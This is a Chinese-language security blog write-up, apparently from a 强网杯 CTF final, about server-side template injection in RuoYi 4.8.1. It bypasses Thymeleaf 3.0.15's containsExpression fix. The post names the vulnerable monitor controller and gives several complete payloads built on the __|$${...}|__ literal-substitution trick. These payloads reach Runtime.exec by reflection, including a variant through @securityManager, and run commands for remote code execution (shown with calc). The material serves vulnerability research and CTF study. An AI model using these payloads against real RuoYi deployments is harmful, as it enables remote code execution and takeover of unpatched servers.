前言
这是强网杯决赛出的一个若依最新版4.8.1的一个漏洞,本质上涉及到的是thymeleaf3.0.15的绕过,去年在看thymeleaf利用的时候,就有师傅提到过3.0.15也是可以绕过的,文章:https://cn-sec.com/archives/3118198.html
有关thymeleaf的漏洞利用可以看我之前的文章:https://clowsman.github.io/2024/12/14/%E5%86%8D%E7%9C%8BThymeleaf/
这里就直接拿若依4.8.1的环境来分析一下
环境搭建
这里就直接看若依的官方部署文档来进行本地环境搭建
https://doc.ruoyi.vip/ruoyi/document/hjbs.html
3.0.15版本修复
在3.0.14之后增加了一个containsExpression函数来判断是否为表达式

在之前的文章中是利用||来绕过对$符号后面紧跟{的判断,因为LiteralSubstitutionUtil#performLiteralSubstitution这个函数会将||置空,不过在3.0.15的时候就对这个函数进行了修复

这里就是如果||之间没有内容,他会直接将||添加回去,并不会置空,所以导致表达式解析失败,从而进行修复
漏洞位置
因为是Thymeleaf的问题,所以漏洞存在于Ruoyi的单体应用版本
漏洞代码代码在ruoyi-admin模块下的com.ruoyi.web.controller.monitor处

这里直接进行了拼接导致能够进行ssti
漏洞绕过
根据大佬的文章,我们可以在官方文档中找到思路:https://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html#literal-substitutions

就相当于我们可以在||之间嵌入一个表达式进行解析,这时候我们可以用下面这种payload的形式来绕过containsExpression同时又达到嵌套解析表达式的形式
__|$${<表达式>}|__::
首先解析引擎会拿到|$${<表达式>}|这个内容,然后containsExpression判断$后面如果不紧跟{的话,就直接返回false认为这不是一个表达式了,从而绕过containsExpression,此时我们的||又符合官方文档中的字面替换,那么他就会直接去解析表达式了
然后我就想着用之前的payload修改一下来进行rce
__|$${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc')}|__::.x
但是发现这个payload在若依的环境报错了,我单独开了一个thymeleaf3.0.15的项目进行测试,这个payload是能成功的,在若依的报错如下:

调试了半天也没发现哪里有问题,也没发现若依有自己加过滤,看大佬的文章也是不能直接exec,用反射进行了绕过
一步步来看哪里被拦截了吧
这里用response.getWriter来将结果打印出来
fragment=__|$${#response.getWriter().print(''.getClass().forName('java.lang.Runtime'))}|__

可以看到这里第一步是可以获取Runtime的Class的,但是我一旦直接getMethod获取exec他就报错了,获取所有反射方法然后利用选择器获取exec
fragment=__|$${#response.getWriter().print(''.getClass().forName('java.lang.Runtime').getMethods.?[name=='exec'][0])}|__

可以看到这样就能获取到exec了,接下来就是invoke这个方法了,所以我们还需要获取一个Runtime的实例,所以先要获取getRuntime方法然后调用,同样用上面的方式
fragment=__|$${#response.getWriter().print(''.getClass().forName('java.lang.Runtime').getMethods.?[name=='getRuntime'][0])}|__

可以看到这样我们就获取到了getRuntime方法
然后跟上一个payload组合一下就可以调用exec执行命令了
fragment=__|$${#response.getWriter().print(''.getClass().forName('java.lang.Runtime').getMethods.?[name=='exec'][0].invoke(''.getClass().forName('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null),'calc',null))}|__

这个payload试了一下在原来创建的纯thymeleaf项目也是可以成功的

emmm还是不清楚前面一开始为什么被拦截了,不清楚是用了什么安全机制
其他payload
大佬的文章获取Runtime还有一种方式,就是利用securityManager,这里copy payload过来
fragment=__|$${#response.getWriter().print(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][0].invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null),'calc',null))}|__::.x
参考
https://gowninng.cn/archives/34429c47-d80f-49d0-af69-7a871353a44f
https://mp.weixin.qq.com/s/uxvGbO4biM87DVSXA_ZlQw
https://cn-sec.com/archives/3118198.html